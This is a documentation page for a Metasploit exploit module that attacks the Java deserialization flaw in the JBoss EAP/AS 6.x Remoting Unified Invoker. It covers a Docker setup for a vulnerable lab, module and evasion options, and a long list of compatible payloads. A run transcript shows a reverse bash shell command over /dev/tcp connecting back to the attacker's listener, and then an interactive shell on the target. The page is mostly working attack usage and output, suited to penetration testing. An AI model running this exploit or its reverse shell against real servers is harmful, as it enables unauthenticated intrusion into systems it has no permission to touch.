JBOSS EAP/AS Remoting Unified Invoker RCE - Metasploit


This page contains detailed information about how to use the exploit/multi/misc/jboss_remoting_unified_invoker_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: JBOSS EAP/AS Remoting Unified Invoker RCE
Module: exploit/multi/misc/jboss_remoting_unified_invoker_rce
Source code: modules/exploits/multi/misc/jboss_remoting_unified_invoker_rce.rb
Disclosure date: 2019-12-11
Last modification time: 2022-07-12 09:08:19 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): 4446
List of CVEs: -

An unauthenticated attacker with network access to the JBOSS EAP/AS <= 6.x Remoting Unified Invoker interface can send a serialized object to the interface to execute code on vulnerable hosts.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/multi/misc/jboss_remoting_unified_invoker_rce
msf exploit(jboss_remoting_unified_invoker_rce) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Description

This module exploits a Java deserialization vulnerability in JBOSS EAP/AS Remoting Unified Invoker interface for versions 6.1.0 and prior.

Setup

Dockerfile


FROM jboss/base-jdk:8

# Set the JBOSS_VERSION env variable
ENV JBOSS_HOME /opt/jboss/jboss-as-6.1
ENV EAP_HOME /opt/jboss/jboss-as-6.1

# Add the JBoss distribution to /opt, and make jboss the owner of the extracted zip content
# https://jbossas.jboss.org/downloads 
RUN curl https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip -o /opt/jboss/jboss-as-6.1.0.zip
RUN jar -xvf /opt/jboss/jboss-as-6.1.0.zip \
&& mv /opt/jboss/jboss-6.1.0.Final $EAP_HOME \
&& chmod a+x $EAP_HOME/bin/*

# Ensure signals are forwarded to the JVM process correctly for graceful shutdown
#ENV LAUNCH_JBOSS_IN_BACKGROUND true

# Enable binding to all network interfaces and debugging inside the EAP
RUN echo "JAVA_OPTS=\"\$JAVA_OPTS -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0\"" >> ${EAP_HOME}/bin/run.conf

# Expose the ports we're interested in
EXPOSE 8080 9990 4447 9999 4446 3873 4445

# Set the default command to run on boot
# This will boot JBoss EAP in the standalone mode and bind to all interface
ENTRYPOINT ["/opt/jboss/jboss-as-6.1/bin/run.sh"]

docker-compose.yml


version: "3"
services:
  web:
    build: .
    ports:
      - "8080:8080" 
      - "9990:9990" 
      - "4447:4447" 
      - "9999:9999" 
      - "4446:4446" 
      - "3873:3873" 
      - "4445:4445"
    networks:
      internet:
        aliases:
          - jboss-as-61
networks:
    internet:
        driver: bridge
docker-compose up

Verification Steps


Follow Setup and Scenarios.

Targets


0

This executes a Unix command.

1

This uses a Linux dropper to execute code.

Scenarios


JBoss Application Server 6.1.0 from Docker.

msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > options

Module options (exploit/multi/misc/jboss_remoting_unified_invoker_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   localhost        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    4446             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.15     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > exploit

[*] Started reverse TCP handler on 192.168.1.15:4444
[*] 127.0.0.1:4446 - Running automatic check ("set AutoCheck false" to disable)
[+] 127.0.0.1:4446 - The target appears to be vulnerable.
[*] 127.0.0.1:4446 - Executing Unix Command for cmd/unix/reverse_bash
[+] 127.0.0.1:4446 - Successfully executed command: bash -c '0<&70-;exec 70<>/dev/tcp/192.168.1.15/4444;sh <&70 >&70 2>&70'
[*] Command shell session 1 opened (192.168.1.15:4444 -> 192.168.1.15:65270) at 2022-07-05 00:06:09 +0200

id
uid=1000(jboss) gid=1000(jboss) groups=1000(jboss)
pwd
/opt/jboss
/opt/jboss/jboss-as-6.1/bin/run.sh --version
=========================================================================

  JBoss Bootstrap Environment

  JBOSS_HOME: /opt/jboss/jboss-as-6.1

  JAVA: /usr/lib/jvm/java/bin/java

  JAVA_OPTS: -server -Xms128m -Xmx512m -XX:MaxPermSize=256m -Dorg.jboss.resolver.warning=true -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000 -Djboss.bind.address=0.0.0.0 -Djboss.bind.address.management=0.0.0.0 -Djava.net.preferIPv4Stack=true -Dprogram.name=run.sh -Dlogging.configuration=file:/opt/jboss/jboss-as-6.1/bin/logging.properties -Djava.library.path=/opt/jboss/jboss-as-6.1/bin/native/lib64:/opt/jboss/jboss-as-6.1/bin/native/lib64

  CLASSPATH: /opt/jboss/jboss-as-6.1/bin/run.jar:/usr/lib/jvm/java/lib/tools.jar

=========================================================================

OpenJDK 64-Bit Server VM warning: ignoring option MaxPermSize=256m; support was removed in 8.0
JBoss 6.1.0.Final (Build SVNTag:JBoss_6.1.0.Final date: 20110816)

Distributable under LGPL license.
See terms of license at gnu.org.

exit
[*] 127.0.0.1 - Command shell session 1 closed.
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) >

Go back to menu.

Msfconsole Usage


Here is how the multi/misc/jboss_remoting_unified_invoker_rce exploit module looks in the msfconsole:

msf6 > use exploit/multi/misc/jboss_remoting_unified_invoker_rce

[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > show info

       Name: JBOSS EAP/AS Remoting Unified Invoker RCE
     Module: exploit/multi/misc/jboss_remoting_unified_invoker_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-12-11

Provided by:
  Joao Matos <@joaomatosf>
  Marcio Almeida <@marcioalm>
  Heyder Andrade <@HeyderAndrade>

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   Linux Dropper

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT    4446             yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all
                                      addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Payload information:

Description:
  An unauthenticated attacker with network access to the JBOSS EAP/AS 
  <= 6.x Remoting Unified Invoker interface can send a serialized 
  object to the interface to execute code on vulnerable hosts.

References:
  https://s3.amazonaws.com/files.joaomatosf.com/slides/alligator_slides.pdf

Module Options


This is a complete list of options available in the multi/misc/jboss_remoting_unified_invoker_rce exploit:

msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > show options

Module options (exploit/multi/misc/jboss_remoting_unified_invoker_rce):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT    4446             yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all
                                        addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Unix Command

Advanced Options


Here is a complete list of advanced options supported by the multi/misc/jboss_remoting_unified_invoker_rce exploit:

msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > show advanced

Module advanced options (exploit/multi/misc/jboss_remoting_unified_invoker_rce):

   Name                                    Current Setting  Required  Description
   ----                                    ---------------  --------  -----------
   AutoCheck                               true             no        Run check before exploit
   CHOST                                                    no        The local client address
   CMDSTAGER::DECODER                                       no        The decoder stub to use.
   CMDSTAGER::FLAVOR                       auto             no        The CMD Stager to use. (Accepted: auto, printf)
   CMDSTAGER::SSL                          false            no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                          no        Writable directory for staged files
   CMDSTAGER::URIPATH                                       no        Payload URI path for supported stagers
   CPORT                                                    no        The local client port
   ConnectTimeout                          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                                   no        The information file that contains context information
   DisablePayloadHandler                   false            no        Disable the handler code for the selected payload
   EXE::Custom                                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR                              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack                           false            no        Use the default template in case the specified one is missing
   EXE::Inject                             false            no        Set to preserve the original EXE function
   EXE::OldMethod                          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                                no        The directory in which to look for the executable template
   EXE::Template                                            no        The executable template file name.
   EnableContextEncoding                   false            no        Use transient context when encoding payloads
   ForceExploit                            false            no        Override check result
   ListenerBindAddress                                      no        The specific IP address to bind to if different from SRVHOST
   ListenerBindPort                                         no        The port to bind to if different from SRVPORT
   ListenerComm                                             no        The specific communication channel to use for this service
   MSI::Custom                                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR                              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                no        The directory in which to look for the msi template
   MSI::Template                                            no        The msi template file name
   MSI::UAC                                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   Powershell::encode_final_payload        false            yes       Encode final payload for -EncodedCommand
   Powershell::encode_inner_payload        false            yes       Encode inner payload for -EncodedCommand
   Powershell::exec_in_place               false            yes       Produce PSH without executable wrapper
   Powershell::exec_rc4                    false            yes       Encrypt PSH with RC4
   Powershell::method                      reflection       yes       Payload delivery method (Accepted: net, reflection, old, msil)
   Powershell::no_equals                   false            yes       Pad base64 until no "=" remains
   Powershell::noninteractive              true             yes       Execute powershell without interaction
   Powershell::persist                     false            yes       Run the payload in a loop
   Powershell::prepend_protections_bypass  auto             yes       Prepend AMSI/SBL bypass (Accepted: auto, true, false)
   Powershell::prepend_sleep                                no        Prepend seconds of sleep
   Powershell::remove_comspec              false            yes       Produce script calling powershell directly
   Powershell::strip_comments              true             yes       Strip comments
   Powershell::strip_whitespace            false            yes       Strip whitespace
   Powershell::sub_funcs                   false            yes       Substitute function names
   Powershell::sub_vars                    true             yes       Substitute variable names
   Powershell::wrap_double_quotes          true             yes       Wraps the -Command argument in single quotes
   Proxies                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression                          false            no        Enable SSL/TLS-level compression
   SSLServerNameIndication                                  no        SSL/TLS Server Name Indication (SNI)
   SSLVerifyMode                           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion                              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepte
                                                                      d: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots                              false            no        Return a robots.txt file if asked for one
   URIHOST                                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                                 false            no        Enable detailed status messages
   WORKSPACE                                                no        Specify the workspace for this module
   WfsDelay                                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_bash):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to L
                                                          HOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/misc/jboss_remoting_unified_invoker_rce module can exploit:

msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   Linux Dropper

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/jboss_remoting_unified_invoker_rce exploit:

msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > show payloads

Compatible Payloads
===================

   #   Name                                                  Disclosure Date  Rank    Check  Description
   -   ----                                                  ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                              normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                                  normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_jjs                                              normal  No     Unix Command Shell, Bind TCP (via jjs)
   3   payload/cmd/unix/bind_lua                                              normal  No     Unix Command Shell, Bind TCP (via Lua)
   4   payload/cmd/unix/bind_netcat                                           normal  No     Unix Command Shell, Bind TCP (via netcat)
   5   payload/cmd/unix/bind_netcat_gaping                                    normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   6   payload/cmd/unix/bind_netcat_gaping_ipv6                               normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   7   payload/cmd/unix/bind_nodejs                                           normal  No     Unix Command Shell, Bind TCP (via nodejs)
   8   payload/cmd/unix/bind_perl                                             normal  No     Unix Command Shell, Bind TCP (via Perl)
   9   payload/cmd/unix/bind_perl_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   10  payload/cmd/unix/bind_r                                                normal  No     Unix Command Shell, Bind TCP (via R)
   11  payload/cmd/unix/bind_ruby                                             normal  No     Unix Command Shell, Bind TCP (via Ruby)
   12  payload/cmd/unix/bind_ruby_ipv6                                        normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   13  payload/cmd/unix/bind_socat_udp                                        normal  No     Unix Command Shell, Bind UDP (via socat)
   14  payload/cmd/unix/bind_stub                                             normal  No     Unix Command Shell, Bind TCP (stub)
   15  payload/cmd/unix/bind_zsh                                              normal  No     Unix Command Shell, Bind TCP (via Zsh)
   16  payload/cmd/unix/generic                                               normal  No     Unix Command, Generic Command Execution
   17  payload/cmd/unix/pingback_bind                                         normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   18  payload/cmd/unix/pingback_reverse                                      normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   19  payload/cmd/unix/python/meterpreter/bind_tcp                           normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager
   20  payload/cmd/unix/python/meterpreter/bind_tcp_uuid                      normal  No     Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
   21  payload/cmd/unix/python/meterpreter/reverse_http                       normal  No     Python Exec, Python Meterpreter, Python Reverse HTTP Stager
   22  payload/cmd/unix/python/meterpreter/reverse_https                      normal  No     Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
   23  payload/cmd/unix/python/meterpreter/reverse_tcp                        normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager
   24  payload/cmd/unix/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
   25  payload/cmd/unix/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
   26  payload/cmd/unix/python/meterpreter_bind_tcp                           normal  No     Python Exec, Python Meterpreter Shell, Bind TCP Inline
   27  payload/cmd/unix/python/meterpreter_reverse_http                       normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
   28  payload/cmd/unix/python/meterpreter_reverse_https                      normal  No     Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
   29  payload/cmd/unix/python/meterpreter_reverse_tcp                        normal  No     Python Exec, Python Meterpreter Shell, Reverse TCP Inline
   30  payload/cmd/unix/python/pingback_bind_tcp                              normal  No     Python Exec, Python Pingback, Bind TCP (via python)
   31  payload/cmd/unix/python/pingback_reverse_tcp                           normal  No     Python Exec, Python Pingback, Reverse TCP (via python)
   32  payload/cmd/unix/python/shell_bind_tcp                                 normal  No     Python Exec, Command Shell, Bind TCP (via python)
   33  payload/cmd/unix/python/shell_reverse_tcp                              normal  No     Python Exec, Command Shell, Reverse TCP (via python)
   34  payload/cmd/unix/python/shell_reverse_tcp_ssl                          normal  No     Python Exec, Command Shell, Reverse TCP SSL (via python)
   35  payload/cmd/unix/python/shell_reverse_udp                              normal  No     Python Exec, Command Shell, Reverse UDP (via python)
   36  payload/cmd/unix/reverse                                               normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   37  payload/cmd/unix/reverse_awk                                           normal  No     Unix Command Shell, Reverse TCP (via AWK)
   38  payload/cmd/unix/reverse_bash                                          normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   39  payload/cmd/unix/reverse_bash_telnet_ssl                               normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   40  payload/cmd/unix/reverse_bash_udp                                      normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   41  payload/cmd/unix/reverse_jjs                                           normal  No     Unix Command Shell, Reverse TCP (via jjs)
   42  payload/cmd/unix/reverse_ksh                                           normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   43  payload/cmd/unix/reverse_lua                                           normal  No     Unix Command Shell, Reverse TCP (via Lua)
   44  payload/cmd/unix/reverse_ncat_ssl                                      normal  No     Unix Command Shell, Reverse TCP (via ncat)
   45  payload/cmd/unix/reverse_netcat                                        normal  No     Unix Command Shell, Reverse TCP (via netcat)
   46  payload/cmd/unix/reverse_netcat_gaping                                 normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   47  payload/cmd/unix/reverse_nodejs                                        normal  No     Unix Command Shell, Reverse TCP (via nodejs)
   48  payload/cmd/unix/reverse_openssl                                       normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   49  payload/cmd/unix/reverse_perl                                          normal  No     Unix Command Shell, Reverse TCP (via Perl)
   50  payload/cmd/unix/reverse_perl_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   51  payload/cmd/unix/reverse_php_ssl                                       normal  No     Unix Command Shell, Reverse TCP SSL (via php)
   52  payload/cmd/unix/reverse_python                                        normal  No     Unix Command Shell, Reverse TCP (via Python)
   53  payload/cmd/unix/reverse_python_ssl                                    normal  No     Unix Command Shell, Reverse TCP SSL (via python)
   54  payload/cmd/unix/reverse_r                                             normal  No     Unix Command Shell, Reverse TCP (via R)
   55  payload/cmd/unix/reverse_ruby                                          normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   56  payload/cmd/unix/reverse_ruby_ssl                                      normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   57  payload/cmd/unix/reverse_socat_udp                                     normal  No     Unix Command Shell, Reverse UDP (via socat)
   58  payload/cmd/unix/reverse_ssh                                           normal  No     Unix Command Shell, Reverse TCP SSH
   59  payload/cmd/unix/reverse_ssl_double_telnet                             normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   60  payload/cmd/unix/reverse_stub                                          normal  No     Unix Command Shell, Reverse TCP (stub)
   61  payload/cmd/unix/reverse_tclsh                                         normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   62  payload/cmd/unix/reverse_zsh                                           normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   63  payload/generic/custom                                                 normal  No     Custom Payload
   64  payload/generic/shell_bind_tcp                                         normal  No     Generic Command Shell, Bind TCP Inline
   65  payload/generic/shell_reverse_tcp                                      normal  No     Generic Command Shell, Reverse TCP Inline
   66  payload/generic/ssh/interact                                           normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the multi/misc/jboss_remoting_unified_invoker_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/misc/jboss_remoting_unified_invoker_rce) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Error to connect <RHOST>:<RPORT> : '<E.CLASS>' '<E>'


Here is a relevant code snippet related to the "Error to connect <RHOST>:<RPORT> : '<E.CLASS>' '<E>'" error message:

86:	    disconnect
87:	    return Exploit::CheckCode::Appears if data == handshake_data
88:	
89:	    return Exploit::CheckCode::Safe
90:	  rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError => e
91:	    print_error("Error to connect #{rhost}:#{rport} : '#{e.class}' '#{e}'")
92:	    return Exploit::CheckCode::Unknown
93:	  end
94:	
95:	  # def exploit
96:	  def execute_command(cmd, _opts = {})

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References


See Also


Check also the following modules related to this module:

Authors


  • Joao Matos <@joaomatosf>
  • Marcio Almeida <@marcioalm>
  • Heyder Andrade <@HeyderAndrade>

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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